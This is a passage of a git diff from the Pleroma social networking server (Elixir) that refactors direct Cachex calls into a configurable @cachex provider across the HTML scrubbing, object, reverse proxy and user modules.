	defp fetch_pack_info(remote_pack, uri, name) do
	case remote_pack["pack"] do
	%{"share-files" => true, "can-download" => true, "download-sha256" => sha} ->
	{:ok,
	%{
	sha: sha,
	url: URI.merge(uri, "/api/pleroma/emoji/packs/archive?name=#{name}") \|> to_string()
	}}

	%{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) ->
	{:ok,
	%{
	sha: sha,
	url: src,
	fallback: true
	}}

	_ ->
	{:error, "The pack was not set as shared and there is no fallback src to download from"}
	end
	end

	defp download_archive(url, sha) do
	with {:ok, %{body: archive}} <- Pleroma.HTTP.get(url) do
	if Base.decode16!(sha) == :crypto.hash(:sha256, archive) do
	{:ok, archive}
	else
	{:error, :invalid_checksum}
	end
	end
	end

	defp fetch_archive(pack) do
	hash = :crypto.hash(:md5, File.read!(pack.pack_file))

	- case Cachex.get!(:emoji_packs_cache, pack.name) do
	+ case @cachex.get!(:emoji_packs_cache, pack.name) do
	%{hash: ^hash, pack_data: archive} -> archive
	_ -> create_archive_and_cache(pack, hash)
	end
	end

	defp fallback_sha_changed?(pack, data) do
	is_binary(data[:"fallback-src"]) and data[:"fallback-src"] != pack.pack["fallback-src"]
	end

	defp update_sha_and_save_metadata(pack, data) do
	with {:ok, %{body: zip}} <- Pleroma.HTTP.get(data[:"fallback-src"]),
	:ok <- validate_has_all_files(pack, zip) do
	fallback_sha = :sha256 \|> :crypto.hash(zip) \|> Base.encode16()

	data
	\|> Map.put("fallback-src-sha256", fallback_sha)
	\|> save_metadata(pack)
	end
	end

	defp validate_has_all_files(pack, zip) do
	with {:ok, f_list} <- :zip.unzip(zip, [:memory]) do
	# Check if all files from the pack.json are in the archive
	pack.files
	\|> Enum.all?(fn {_, from_manifest} ->
	List.keyfind(f_list, to_charlist(from_manifest), 0)
	end)
	\|> if(do: :ok, else: {:error, :incomplete})
	end
	end
	end
	diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex
	index 43e9145be..c848c782c 100644
	--- a/lib/pleroma/html.ex
	+++ b/lib/pleroma/html.ex
	@@ -1,126 +1,128 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HTML do
	# Scrubbers are compiled on boot so they can be configured in OTP releases
	# @on_load :compile_scrubbers

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	def compile_scrubbers do
	dir = Path.join(:code.priv_dir(:pleroma), "scrubbers")

	dir
	\|> Pleroma.Utils.compile_dir()
	\|> case do
	{:error, _errors, _warnings} ->
	raise "Compiling scrubbers failed"

	{:ok, _modules, _warnings} ->
	:ok
	end
	end

	defp get_scrubbers(scrubber) when is_atom(scrubber), do: [scrubber]
	defp get_scrubbers(scrubbers) when is_list(scrubbers), do: scrubbers
	defp get_scrubbers(_), do: [Pleroma.HTML.Scrubber.Default]

	def get_scrubbers do
	Pleroma.Config.get([:markup, :scrub_policy])
	\|> get_scrubbers
	end

	def filter_tags(html, nil) do
	filter_tags(html, get_scrubbers())
	end

	def filter_tags(html, scrubbers) when is_list(scrubbers) do
	Enum.reduce(scrubbers, html, fn scrubber, html ->
	filter_tags(html, scrubber)
	end)
	end

	def filter_tags(html, scrubber) do
	{:ok, content} = FastSanitize.Sanitizer.scrub(html, scrubber)
	content
	end

	def filter_tags(html), do: filter_tags(html, nil)
	def strip_tags(html), do: filter_tags(html, FastSanitize.Sanitizer.StripTags)

	def get_cached_scrubbed_html_for_activity(
	content,
	scrubbers,
	activity,
	key \\ "",
	callback \\ fn x -> x end
	) do
	key = "#{key}#{generate_scrubber_signature(scrubbers)}\|#{activity.id}"

	- Cachex.fetch!(:scrubber_cache, key, fn _key ->
	+ @cachex.fetch!(:scrubber_cache, key, fn _key ->
	object = Pleroma.Object.normalize(activity)
	ensure_scrubbed_html(content, scrubbers, object.data["fake"] \|\| false, callback)
	end)
	end

	def get_cached_stripped_html_for_activity(content, activity, key) do
	get_cached_scrubbed_html_for_activity(
	content,
	FastSanitize.Sanitizer.StripTags,
	activity,
	key,
	&HtmlEntities.decode/1
	)
	end

	def ensure_scrubbed_html(
	content,
	scrubbers,
	fake,
	callback
	) do
	content =
	content
	\|> filter_tags(scrubbers)
	\|> callback.()

	if fake do
	{:ignore, content}
	else
	{:commit, content}
	end
	end

	defp generate_scrubber_signature(scrubber) when is_atom(scrubber) do
	generate_scrubber_signature([scrubber])
	end

	defp generate_scrubber_signature(scrubbers) do
	Enum.reduce(scrubbers, "", fn scrubber, signature ->
	"#{signature}#{to_string(scrubber)}"
	end)
	end

	def extract_first_external_url_from_object(%{data: %{"content" => content}} = object)
	when is_binary(content) do
	unless object.data["fake"] do
	key = "URL\|#{object.id}"

	- Cachex.fetch!(:scrubber_cache, key, fn _key ->
	+ @cachex.fetch!(:scrubber_cache, key, fn _key ->
	{:commit, {:ok, extract_first_external_url(content)}}
	end)
	else
	{:ok, extract_first_external_url(content)}
	end
	end

	def extract_first_external_url_from_object(_), do: {:error, :no_content}

	def extract_first_external_url(content) do
	content
	\|> Floki.parse_fragment!()
	\|> Floki.find("a:not(.mention,.hashtag,.attachment,[rel~=\"tag\"])")
	\|> Enum.take(1)
	\|> Floki.attribute("href")
	\|> Enum.at(0)
	end
	end
	diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
	index 052ad413b..b4a994da9 100644
	--- a/lib/pleroma/object.ex
	+++ b/lib/pleroma/object.ex
	@@ -1,347 +1,349 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Object do
	use Ecto.Schema

	import Ecto.Query
	import Ecto.Changeset

	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	alias Pleroma.ObjectTombstone
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Workers.AttachmentsCleanupWorker

	require Logger

	@type t() :: %__MODULE__{}

	@derive {Jason.Encoder, only: [:data]}

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	schema "objects" do
	field(:data, :map)

	timestamps()
	end

	def with_joined_activity(query, activity_type \\ "Create", join_type \\ :inner) do
	object_position = Map.get(query.aliases, :object, 0)

	join(query, join_type, [{object, object_position}], a in Activity,
	on:
	fragment(
	"COALESCE(?->'object'->>'id', ?->>'object') = (? ->> 'id') AND (?->>'type' = ?) ",
	a.data,
	a.data,
	object.data,
	a.data,
	^activity_type
	),
	as: :object_activity
	)
	end

	def create(data) do
	Object.change(%Object{}, %{data: data})
	\|> Repo.insert()
	end

	def change(struct, params \\ %{}) do
	struct
	\|> cast(params, [:data])
	\|> validate_required([:data])
	\|> unique_constraint(:ap_id, name: :objects_unique_apid_index)
	end

	def get_by_id(nil), do: nil
	def get_by_id(id), do: Repo.get(Object, id)

	def get_by_id_and_maybe_refetch(id, opts \\ []) do
	%{updated_at: updated_at} = object = get_by_id(id)

	if opts[:interval] &&
	NaiveDateTime.diff(NaiveDateTime.utc_now(), updated_at) > opts[:interval] do
	case Fetcher.refetch_object(object) do
	{:ok, %Object{} = object} ->
	object

	e ->
	Logger.error("Couldn't refresh #{object.data["id"]}:\n#{inspect(e)}")
	object
	end
	else
	object
	end
	end

	def get_by_ap_id(nil), do: nil

	def get_by_ap_id(ap_id) do
	Repo.one(from(object in Object, where: fragment("(?)->>'id' = ?", object.data, ^ap_id)))
	end

	@doc """
	Get a single attachment by it's name and href
	"""
	@spec get_attachment_by_name_and_href(String.t(), String.t()) :: Object.t() \| nil
	def get_attachment_by_name_and_href(name, href) do
	query =
	from(o in Object,
	where: fragment("(?)->>'name' = ?", o.data, ^name),
	where: fragment("(?)->>'href' = ?", o.data, ^href)
	)

	Repo.one(query)
	end

	defp warn_on_no_object_preloaded(ap_id) do
	"Object.normalize() called without preloaded object (#{inspect(ap_id)}). Consider preloading the object"
	\|> Logger.debug()

	Logger.debug("Backtrace: #{inspect(Process.info(:erlang.self(), :current_stacktrace))}")
	end

	def normalize(_, fetch_remote \\ true, options \\ [])

	# If we pass an Activity to Object.normalize(), we can try to use the preloaded object.
	# Use this whenever possible, especially when walking graphs in an O(N) loop!
	def normalize(%Object{} = object, _, _), do: object
	def normalize(%Activity{object: %Object{} = object}, _, _), do: object

	# A hack for fake activities
	def normalize(%Activity{data: %{"object" => %{"fake" => true} = data}}, _, _) do
	%Object{id: "pleroma:fake_object_id", data: data}
	end

	# No preloaded object
	def normalize(%Activity{data: %{"object" => %{"id" => ap_id}}}, fetch_remote, _) do
	warn_on_no_object_preloaded(ap_id)
	normalize(ap_id, fetch_remote)
	end

	# No preloaded object
	def normalize(%Activity{data: %{"object" => ap_id}}, fetch_remote, _) do
	warn_on_no_object_preloaded(ap_id)
	normalize(ap_id, fetch_remote)
	end

	# Old way, try fetching the object through cache.
	def normalize(%{"id" => ap_id}, fetch_remote, _), do: normalize(ap_id, fetch_remote)
	def normalize(ap_id, false, _) when is_binary(ap_id), do: get_cached_by_ap_id(ap_id)

	def normalize(ap_id, true, options) when is_binary(ap_id) do
	Fetcher.fetch_object_from_id!(ap_id, options)
	end

	def normalize(_, _, _), do: nil

	# Owned objects can only be accessed by their owner
	def authorize_access(%Object{data: %{"actor" => actor}}, %User{ap_id: ap_id}) do
	if actor == ap_id do
	:ok
	else
	{:error, :forbidden}
	end
	end

	# Legacy objects can be accessed by anybody
	def authorize_access(%Object{}, %User{}), do: :ok

	@spec get_cached_by_ap_id(String.t()) :: Object.t() \| nil
	def get_cached_by_ap_id(ap_id) do
	key = "object:#{ap_id}"

	- with {:ok, nil} <- Cachex.get(:object_cache, key),
	+ with {:ok, nil} <- @cachex.get(:object_cache, key),
	object when not is_nil(object) <- get_by_ap_id(ap_id),
	- {:ok, true} <- Cachex.put(:object_cache, key, object) do
	+ {:ok, true} <- @cachex.put(:object_cache, key, object) do
	object
	else
	{:ok, object} -> object
	nil -> nil
	end
	end

	def context_mapping(context) do
	Object.change(%Object{}, %{data: %{"id" => context}})
	end

	def make_tombstone(%Object{data: %{"id" => id, "type" => type}}, deleted \\ DateTime.utc_now()) do
	%ObjectTombstone{
	id: id,
	formerType: type,
	deleted: deleted
	}
	\|> Map.from_struct()
	end

	def swap_object_with_tombstone(object) do
	tombstone = make_tombstone(object)

	object
	\|> Object.change(%{data: tombstone})
	\|> Repo.update()
	end

	def delete(%Object{data: %{"id" => id}} = object) do
	with {:ok, _obj} = swap_object_with_tombstone(object),
	deleted_activity = Activity.delete_all_by_object_ap_id(id),
	{:ok, _} <- invalid_object_cache(object) do
	cleanup_attachments(
	Config.get([:instance, :cleanup_attachments]),
	%{"object" => object}
	)

	{:ok, object, deleted_activity}
	end
	end

	@spec cleanup_attachments(boolean(), %{required(:object) => map()}) ::
	{:ok, Oban.Job.t() \| nil}
	def cleanup_attachments(true, %{"object" => _} = params) do
	AttachmentsCleanupWorker.enqueue("cleanup_attachments", params)
	end

	def cleanup_attachments(_, _), do: {:ok, nil}

	def prune(%Object{data: %{"id" => _id}} = object) do
	with {:ok, object} <- Repo.delete(object),
	{:ok, _} <- invalid_object_cache(object) do
	{:ok, object}
	end
	end

	def invalid_object_cache(%Object{data: %{"id" => id}}) do
	- with {:ok, true} <- Cachex.del(:object_cache, "object:#{id}") do
	- Cachex.del(:web_resp_cache, URI.parse(id).path)
	+ with {:ok, true} <- @cachex.del(:object_cache, "object:#{id}") do
	+ @cachex.del(:web_resp_cache, URI.parse(id).path)
	end
	end

	def set_cache(%Object{data: %{"id" => ap_id}} = object) do
	- Cachex.put(:object_cache, "object:#{ap_id}", object)
	+ @cachex.put(:object_cache, "object:#{ap_id}", object)
	{:ok, object}
	end

	def update_and_set_cache(changeset) do
	with {:ok, object} <- Repo.update(changeset) do
	set_cache(object)
	end
	end

	def increase_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	safe_jsonb_set(?, '{repliesCount}',
	(coalesce((?->>'repliesCount')::int, 0) + 1)::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end

	defp poll_is_multiple?(%Object{data: %{"anyOf" => [_ \| _]}}), do: true

	defp poll_is_multiple?(_), do: false

	def decrease_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	safe_jsonb_set(?, '{repliesCount}',
	(greatest(0, (?->>'repliesCount')::int - 1))::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end

	def increase_vote_count(ap_id, name, actor) do
	with %Object{} = object <- Object.normalize(ap_id),
	"Question" <- object.data["type"] do
	key = if poll_is_multiple?(object), do: "anyOf", else: "oneOf"

	options =
	object.data[key]
	\|> Enum.map(fn
	%{"name" => ^name} = option ->
	Kernel.update_in(option["replies"]["totalItems"], &(&1 + 1))

	option ->
	option
	end)

	voters = [actor \| object.data["voters"] \|\| []] \|> Enum.uniq()

	data =
	object.data
	\|> Map.put(key, options)
	\|> Map.put("voters", voters)

	object
	\|> Object.change(%{data: data})
	\|> update_and_set_cache()
	else
	_ -> :noop
	end
	end

	@doc "Updates data field of an object"
	def update_data(%Object{data: data} = object, attrs \\ %{}) do
	object
	\|> Object.change(%{data: Map.merge(data \|\| %{}, attrs)})
	\|> Repo.update()
	end

	def local?(%Object{data: %{"id" => id}}) do
	String.starts_with?(id, Pleroma.Web.base_url() <> "/")
	end

	def replies(object, opts \\ []) do
	object = Object.normalize(object)

	query =
	Object
	\|> where(
	[o],
	fragment("(?)->>'inReplyTo' = ?", o.data, ^object.data["id"])
	)
	\|> order_by([o], asc: o.id)

	if opts[:self_only] do
	actor = object.data["actor"]
	where(query, [o], fragment("(?)->>'actor' = ?", o.data, ^actor))
	else
	query
	end
	end

	def self_replies(object, opts \\ []),
	do: replies(object, Keyword.put(opts, :self_only, true))
	end
	diff --git a/lib/pleroma/reverse_proxy.ex b/lib/pleroma/reverse_proxy.ex
	index 8ae1157df..3ea897c95 100644
	--- a/lib/pleroma/reverse_proxy.ex
	+++ b/lib/pleroma/reverse_proxy.ex
	@@ -1,432 +1,434 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ReverseProxy do
	@range_headers ~w(range if-range)
	@keep_req_headers ~w(accept user-agent accept-encoding cache-control if-modified-since) ++
	~w(if-unmodified-since if-none-match) ++ @range_headers
	@resp_cache_headers ~w(etag date last-modified)
	@keep_resp_headers @resp_cache_headers ++
	~w(content-length content-type content-disposition content-encoding) ++
	~w(content-range accept-ranges vary)
	@default_cache_control_header "public, max-age=1209600"
	@valid_resp_codes [200, 206, 304]
	@max_read_duration :timer.seconds(30)
	@max_body_length :infinity
	@failed_request_ttl :timer.seconds(60)
	@methods ~w(GET HEAD)

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	def max_read_duration_default, do: @max_read_duration
	def default_cache_control_header, do: @default_cache_control_header

	@moduledoc """
	A reverse proxy.

	Pleroma.ReverseProxy.call(conn, url, options)

	It is not meant to be added into a plug pipeline, but to be called from another plug or controller.

	Supports `#{inspect(@methods)}` HTTP methods, and only allows `#{inspect(@valid_resp_codes)}` status codes.

	Responses are chunked to the client while downloading from the upstream.

	Some request / responses headers are preserved:

	* request: `#{inspect(@keep_req_headers)}`
	* response: `#{inspect(@keep_resp_headers)}`

	Options:

	* `redirect_on_failure` (default `false`). Redirects the client to the real remote URL if there's any HTTP
	errors. Any error during body processing will not be redirected as the response is chunked. This may expose
	remote URL, clients IPs, ….

	* `max_body_length` (default `#{inspect(@max_body_length)}`): limits the content length to be approximately the
	specified length. It is validated with the `content-length` header and also verified when proxying.

	* `max_read_duration` (default `#{inspect(@max_read_duration)}` ms): the total time the connection is allowed to
	read from the remote upstream.

	* `failed_request_ttl` (default `#{inspect(@failed_request_ttl)}` ms): the time the failed request is cached and cannot be retried.

	* `inline_content_types`:
	* `true` will not alter `content-disposition` (up to the upstream),
	* `false` will add `content-disposition: attachment` to any request,
	* a list of whitelisted content types

	* `keep_user_agent` will forward the client's user-agent to the upstream. This may be useful if the upstream is
	doing content transformation (encoding, …) depending on the request.

	* `req_headers`, `resp_headers` additional headers.

	* `http`: options for [hackney](https://github.com/benoitc/hackney) or [gun](https://github.com/ninenines/gun).

	"""
	@default_options [pool: :media]

	@inline_content_types [
	"image/gif",
	"image/jpeg",
	"image/jpg",
	"image/png",
	"image/svg+xml",
	"audio/mpeg",
	"audio/mp3",
	"video/webm",
	"video/mp4",
	"video/quicktime"
	]

	require Logger
	import Plug.Conn

	@type option() ::
	{:keep_user_agent, boolean}
	\| {:max_read_duration, :timer.time() \| :infinity}
	\| {:max_body_length, non_neg_integer() \| :infinity}
	\| {:failed_request_ttl, :timer.time() \| :infinity}
	\| {:http, []}
	\| {:req_headers, [{String.t(), String.t()}]}
	\| {:resp_headers, [{String.t(), String.t()}]}
	\| {:inline_content_types, boolean() \| [String.t()]}
	\| {:redirect_on_failure, boolean()}

	@spec call(Plug.Conn.t(), url :: String.t(), [option()]) :: Plug.Conn.t()
	def call(_conn, _url, _opts \\ [])

	def call(conn = %{method: method}, url, opts) when method in @methods do
	client_opts = Keyword.merge(@default_options, Keyword.get(opts, :http, []))

	req_headers = build_req_headers(conn.req_headers, opts)

	opts =
	if filename = Pleroma.Web.MediaProxy.filename(url) do
	Keyword.put_new(opts, :attachment_name, filename)
	else
	opts
	end

	- with {:ok, nil} <- Cachex.get(:failed_proxy_url_cache, url),
	+ with {:ok, nil} <- @cachex.get(:failed_proxy_url_cache, url),
	{:ok, code, headers, client} <- request(method, url, req_headers, client_opts),
	:ok <-
	header_length_constraint(
	headers,
	Keyword.get(opts, :max_body_length, @max_body_length)
	) do
	response(conn, client, url, code, headers, opts)
	else
	{:ok, true} ->
	conn
	\|> error_or_redirect(url, 500, "Request failed", opts)
	\|> halt()

	{:ok, code, headers} ->
	head_response(conn, url, code, headers, opts)
	\|> halt()

	{:error, {:invalid_http_response, code}} ->
	Logger.error("#{__MODULE__}: request to #{inspect(url)} failed with HTTP status #{code}")
	track_failed_url(url, code, opts)

	conn
	\|> error_or_redirect(
	url,
	code,
	"Request failed: " <> Plug.Conn.Status.reason_phrase(code),
	opts
	)
	\|> halt()

	{:error, error} ->
	Logger.error("#{__MODULE__}: request to #{inspect(url)} failed: #{inspect(error)}")
	track_failed_url(url, error, opts)

	conn
	\|> error_or_redirect(url, 500, "Request failed", opts)
	\|> halt()
	end
	end

	def call(conn, _, _) do
	conn
	\|> send_resp(400, Plug.Conn.Status.reason_phrase(400))
	\|> halt()
	end

	defp request(method, url, headers, opts) do
	Logger.debug("#{__MODULE__} #{method} #{url} #{inspect(headers)}")
	method = method \|> String.downcase() \|> String.to_existing_atom()

	case client().request(method, url, headers, "", opts) do
	{:ok, code, headers, client} when code in @valid_resp_codes ->
	{:ok, code, downcase_headers(headers), client}

	{:ok, code, headers} when code in @valid_resp_codes ->
	{:ok, code, downcase_headers(headers)}

	{:ok, code, _, _} ->
	{:error, {:invalid_http_response, code}}

	{:ok, code, _} ->
	{:error, {:invalid_http_response, code}}

	{:error, error} ->
	{:error, error}
	end
	end

	defp response(conn, client, url, status, headers, opts) do
	Logger.debug("#{__MODULE__} #{status} #{url} #{inspect(headers)}")

	result =
	conn
	\|> put_resp_headers(build_resp_headers(headers, opts))
	\|> send_chunked(status)
	\|> chunk_reply(client, opts)

	case result do
	{:ok, conn} ->
	halt(conn)

	{:error, :closed, conn} ->
	client().close(client)
	halt(conn)

	{:error, error, conn} ->
	Logger.warn(
	"#{__MODULE__} request to #{url} failed while reading/chunking: #{inspect(error)}"
	)

	client().close(client)
	halt(conn)
	end
	end

	defp chunk_reply(conn, client, opts) do
	chunk_reply(conn, client, opts, 0, 0)
	end

	defp chunk_reply(conn, client, opts, sent_so_far, duration) do
	with {:ok, duration} <-
	check_read_duration(
	duration,
	Keyword.get(opts, :max_read_duration, @max_read_duration)
	),
	{:ok, data, client} <- client().stream_body(client),
	{:ok, duration} <- increase_read_duration(duration),
	sent_so_far = sent_so_far + byte_size(data),
	:ok <-
	body_size_constraint(
	sent_so_far,
	Keyword.get(opts, :max_body_length, @max_body_length)
	),
	{:ok, conn} <- chunk(conn, data) do
	chunk_reply(conn, client, opts, sent_so_far, duration)
	else
	:done -> {:ok, conn}
	{:error, error} -> {:error, error, conn}
	end
	end

	defp head_response(conn, url, code, headers, opts) do
	Logger.debug("#{__MODULE__} #{code} #{url} #{inspect(headers)}")

	conn
	\|> put_resp_headers(build_resp_headers(headers, opts))
	\|> send_resp(code, "")
	end

	defp error_or_redirect(conn, url, code, body, opts) do
	if Keyword.get(opts, :redirect_on_failure, false) do
	conn
	\|> Phoenix.Controller.redirect(external: url)
	\|> halt()
	else
	conn
	\|> send_resp(code, body)
	\|> halt
	end
	end

	defp downcase_headers(headers) do
	Enum.map(headers, fn {k, v} ->
	{String.downcase(k), v}
	end)
	end

	defp get_content_type(headers) do
	{_, content_type} =
	List.keyfind(headers, "content-type", 0, {"content-type", "application/octet-stream"})

	[content_type \| _] = String.split(content_type, ";")
	content_type
	end

	defp put_resp_headers(conn, headers) do
	Enum.reduce(headers, conn, fn {k, v}, conn ->
	put_resp_header(conn, k, v)
	end)
	end

	defp build_req_headers(headers, opts) do
	headers
	\|> downcase_headers()
	\|> Enum.filter(fn {k, _} -> k in @keep_req_headers end)
	\|> build_req_range_or_encoding_header(opts)
	\|> build_req_user_agent_header(opts)
	\|> Keyword.merge(Keyword.get(opts, :req_headers, []))
	end

	# Disable content-encoding if any @range_headers are requested (see #1823).
	defp build_req_range_or_encoding_header(headers, _opts) do
	range? = Enum.any?(headers, fn {header, _} -> Enum.member?(@range_headers, header) end)

	if range? && List.keymember?(headers, "accept-encoding", 0) do
	List.keydelete(headers, "accept-encoding", 0)
	else
	headers
	end
	end

	defp build_req_user_agent_header(headers, opts) do
	if Keyword.get(opts, :keep_user_agent, false) do
	List.keystore(
	headers,
	"user-agent",
	0,
	{"user-agent", Pleroma.Application.user_agent()}
	)
	else
	headers
	end
	end

	defp build_resp_headers(headers, opts) do
	headers
	\|> Enum.filter(fn {k, _} -> k in @keep_resp_headers end)
	\|> build_resp_cache_headers(opts)
	\|> build_resp_content_disposition_header(opts)
	\|> Keyword.merge(Keyword.get(opts, :resp_headers, []))
	end

	defp build_resp_cache_headers(headers, _opts) do
	has_cache? = Enum.any?(headers, fn {k, _} -> k in @resp_cache_headers end)

	cond do
	has_cache? ->
	# There's caching header present but no cache-control -- we need to set our own
	# as Plug defaults to "max-age=0, private, must-revalidate"
	List.keystore(
	headers,
	"cache-control",
	0,
	{"cache-control", @default_cache_control_header}
	)

	true ->
	List.keystore(
	headers,
	"cache-control",
	0,
	{"cache-control", @default_cache_control_header}
	)
	end
	end

	defp build_resp_content_disposition_header(headers, opts) do
	opt = Keyword.get(opts, :inline_content_types, @inline_content_types)

	content_type = get_content_type(headers)

	attachment? =
	cond do
	is_list(opt) && !Enum.member?(opt, content_type) -> true
	opt == false -> true
	true -> false
	end

	if attachment? do
	name =
	try do
	{{"content-disposition", content_disposition_string}, _} =
	List.keytake(headers, "content-disposition", 0)

	[name \| _] =
	Regex.run(
	~r/filename="((?:[^"\\]\|\\.)*)"/u,
	content_disposition_string \|\| "",
	capture: :all_but_first
	)

	name
	rescue
	MatchError -> Keyword.get(opts, :attachment_name, "attachment")
	end

	disposition = "attachment; filename=\"#{name}\""

	List.keystore(headers, "content-disposition", 0, {"content-disposition", disposition})
	else
	headers
	end
	end

	defp header_length_constraint(headers, limit) when is_integer(limit) and limit > 0 do
	with {_, size} <- List.keyfind(headers, "content-length", 0),
	{size, _} <- Integer.parse(size),
	true <- size <= limit do
	:ok
	else
	false ->
	{:error, :body_too_large}

	_ ->
	:ok
	end
	end

	defp header_length_constraint(_, _), do: :ok

	defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and size >= limit do
	{:error, :body_too_large}
	end

	defp body_size_constraint(_, _), do: :ok

	defp check_read_duration(nil = _duration, max), do: check_read_duration(@max_read_duration, max)

	defp check_read_duration(duration, max)
	when is_integer(duration) and is_integer(max) and max > 0 do
	if duration > max do
	{:error, :read_duration_exceeded}
	else
	{:ok, {duration, :erlang.system_time(:millisecond)}}
	end
	end

	defp check_read_duration(_, _), do: {:ok, :no_duration_limit, :no_duration_limit}

	defp increase_read_duration({previous_duration, started})
	when is_integer(previous_duration) and is_integer(started) do
	duration = :erlang.system_time(:millisecond) - started
	{:ok, previous_duration + duration}
	end

	defp increase_read_duration(_) do
	{:ok, :no_duration_limit, :no_duration_limit}
	end

	defp client, do: Pleroma.ReverseProxy.Client

	defp track_failed_url(url, error, opts) do
	ttl =
	unless error in [:body_too_large, 400, 204] do
	Keyword.get(opts, :failed_request_ttl, @failed_request_ttl)
	else
	nil
	end

	- Cachex.put(:failed_proxy_url_cache, url, true, ttl: ttl)
	+ @cachex.put(:failed_proxy_url_cache, url, true, ttl: ttl)
	end
	end
	diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
	index 5a7704ddb..bd4801058 100644
	--- a/lib/pleroma/user.ex
	+++ b/lib/pleroma/user.ex
	@@ -1,2458 +1,2460 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.User do
	use Ecto.Schema

	import Ecto.Changeset
	import Ecto.Query
	import Ecto, only: [assoc: 2]

	alias Ecto.Multi
	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Conversation.Participation
	alias Pleroma.Delivery
	alias Pleroma.EctoType.ActivityPub.ObjectValidators
	alias Pleroma.Emoji
	alias Pleroma.FollowingRelationship
	alias Pleroma.Formatter
	alias Pleroma.HTML
	alias Pleroma.Keys
	alias Pleroma.MFA
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Registration
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.UserRelationship
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.Pipeline
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils, as: CommonUtils
	alias Pleroma.Web.OAuth
	alias Pleroma.Web.RelMe
	alias Pleroma.Workers.BackgroundWorker

	require Logger

	@type t :: %__MODULE__{}
	@type account_status ::
	:active
	\| :deactivated
	\| :password_reset_pending
	\| :confirmation_pending
	\| :approval_pending
	@primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true}

	# credo:disable-for-next-line Credo.Check.Readability.MaxLineLength
	@email_regex ~r/^[a-zA-Z0-9.!#$%&'+\/=?^_`{\|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)$/

	@strict_local_nickname_regex ~r/^[a-zA-Z\d]+$/
	@extended_local_nickname_regex ~r/^[a-zA-Z\d_-]+$/

	# AP ID user relationships (blocks, mutes etc.)
	# Format: [rel_type: [outgoing_rel: :outgoing_rel_target, incoming_rel: :incoming_rel_source]]
	@user_relationships_config [
	block: [
	blocker_blocks: :blocked_users,
	blockee_blocks: :blocker_users
	],
	mute: [
	muter_mutes: :muted_users,
	mutee_mutes: :muter_users
	],
	reblog_mute: [
	reblog_muter_mutes: :reblog_muted_users,
	reblog_mutee_mutes: :reblog_muter_users
	],
	notification_mute: [
	notification_muter_mutes: :notification_muted_users,
	notification_mutee_mutes: :notification_muter_users
	],
	# Note: `inverse_subscription` relationship is inverse: subscriber acts as relationship target
	inverse_subscription: [
	subscribee_subscriptions: :subscriber_users,
	subscriber_subscriptions: :subscribee_users
	]
	]

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	schema "users" do
	field(:bio, :string, default: "")
	field(:raw_bio, :string)
	field(:email, :string)
	field(:name, :string)
	field(:nickname, :string)
	field(:password_hash, :string)
	field(:password, :string, virtual: true)
	field(:password_confirmation, :string, virtual: true)
	field(:keys, :string)
	field(:public_key, :string)
	field(:ap_id, :string)
	field(:avatar, :map, default: %{})
	field(:local, :boolean, default: true)
	field(:follower_address, :string)
	field(:following_address, :string)
	field(:search_rank, :float, virtual: true)
	field(:search_type, :integer, virtual: true)
	field(:tags, {:array, :string}, default: [])
	field(:last_refreshed_at, :naive_datetime_usec)
	field(:last_digest_emailed_at, :naive_datetime)
	field(:banner, :map, default: %{})
	field(:background, :map, default: %{})
	field(:note_count, :integer, default: 0)
	field(:follower_count, :integer, default: 0)
	field(:following_count, :integer, default: 0)
	field(:is_locked, :boolean, default: false)
	field(:confirmation_pending, :boolean, default: false)
	field(:password_reset_pending, :boolean, default: false)
	field(:approval_pending, :boolean, default: false)
	field(:registration_reason, :string, default: nil)
	field(:confirmation_token, :string, default: nil)
	field(:default_scope, :string, default: "public")
	field(:domain_blocks, {:array, :string}, default: [])
	field(:deactivated, :boolean, default: false)
	field(:no_rich_text, :boolean, default: false)
	field(:ap_enabled, :boolean, default: false)
